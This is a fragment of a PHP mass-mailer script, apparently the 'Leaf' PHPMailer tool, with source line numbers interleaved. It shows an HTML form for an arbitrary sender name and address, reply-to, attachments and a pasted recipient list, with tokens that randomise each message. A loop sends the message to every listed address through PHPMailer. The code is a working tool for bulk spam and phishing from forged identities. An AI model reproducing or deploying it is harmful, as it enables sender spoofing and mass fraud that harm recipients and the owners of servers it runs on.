                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="' . $senderName . '"></div>
3327
            </div>
3328
            <div class="row">
3329
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
3330
3331
                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="' . $replyTo . '" /></div>
3332
            </div>
3333
            <div class="row">
3334
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="' . $subject . '" /></div>
3335
            </div>
3336
            <div class="row">
3337
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">' . $messageLetter . '</textarea></div>
3338
                <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">' . $emailList . '</textarea></div>
3339
            </div>
3340
            <div class="row">
3341
                <div class="form-group col-lg-6 ">
3342
                    <label for="messageType">Message Type</label>
3343
                    HTML <input type="radio" name="messageType" id="messageType" value="1" ' . $html . '>
3344
                    Plain<input type="radio" name="messageType" id="messageType" value="2" ' . $plain . '>
3345
                </div>
3346
                <div class="form-group col-lg-3 ">
3347
                    <label for="encode">Encode Type</label>
3348
                    <select class="form-control input-sm" id="encode" name="encode">
3349
                        <option value="UTF-8" selected>UTF-8 Encode</option>
3350
                        <option value="UTF-8">ISO Encode</option>
3351
                    </select>
3352
                </div>
3353
            </div> 
3354
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
3355
   
3356
        </form>
3357
    </div>
3358
    <div class="col-lg-6"><br>
3359
        <label for="well">Instruction</label>
3360
        <div id="well" class="well well">
3361
            <h4>Server Information</h4>
3362
            <ul>
3363
                <li>ServerIP : <b>' . $_SERVER['SERVER_ADDR'] . '</b></li>
3364
3365
            </ul>
3366
            <h4>HELP</h4>
3367
            <ul>
3368
                <li>[-email-] : <b>Reciver Email</b></li>
3369
                <li>[-time-] : <b>Date and Time</b> (' . date("m/d/Y h:i:s a", time()) . ')</li>
3370
                <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
3371
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
3372
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
3373
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
3374
                <li>[-randommd5-] : <b>Random MD5 </b></li>
3375
            </ul>
3376
            <h4>example</h4>
3377
            Reciver Email = <b>user@domain.com</b><br>
3378
            <ul>
3379
                <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
3380
                <li>your code is  <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
3381
            </ul>
3382
3383
            <h6>by <b><a href="http://' . $leaf['website'] . '">' . $leaf['website'] . '</a></b></h6>
3384
        </div>
3385
    </div>';
3386
if ($_POST['action'] == "send") {
3387
    print '    <div class="col-lg-12">';
3388
    $maillist = explode("
3389
", $emailList);
3390
    $n = count($maillist);
3391
    $x = 1;
3392
    foreach ($maillist as $email) {
3393
        print '<div class="col-lg-1">[' . $x . '/' . $n . ']</div><div class="col-lg-5">' . $email . '</div>';
3394
3395
3396
3397
            $mail = new PHPMailer;
3398
            $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email));
3399
            $mail->addReplyTo(leafClear($replyTo, $email));
3400
            $mail->addAddress($email);
3401
            $mail->Subject = leafClear($subject, $email);
3402
            $mail->Body = leafClear($messageLetter, $email);
3403
            $mail->CharSet = $encode;
3404
            for ($i = 0;$i < count($_FILES['attachment']['name']);$i++) {
3405
                if ($_FILES['attachment']['tmp_name'][$i] != "") {
3406
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i], $_FILES['attachment']['name'][$i]);
3407
                }
3408
            }
3409
            if ($messageType == 1) {
3410
                $mail->IsHTML(true);
3411
            } else {
3412
                $mail->IsHTML(false);
3413
            }
3414
            if (!$mail->send()) {
3415
                echo '<div class="col-lg-6"><span class="label label-default">' . $mail->ErrorInfo . '</span></div>';
3416
            } else {
3417
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
3418
            }
3419
            print "<br>
3420
";
3421
3422
        $x++;
3423
        for ($k = 0;$k < 40000;$k++) {
3424
            echo ' ';
3425
        }
3426
    }
3427
}
3428
print '</body>';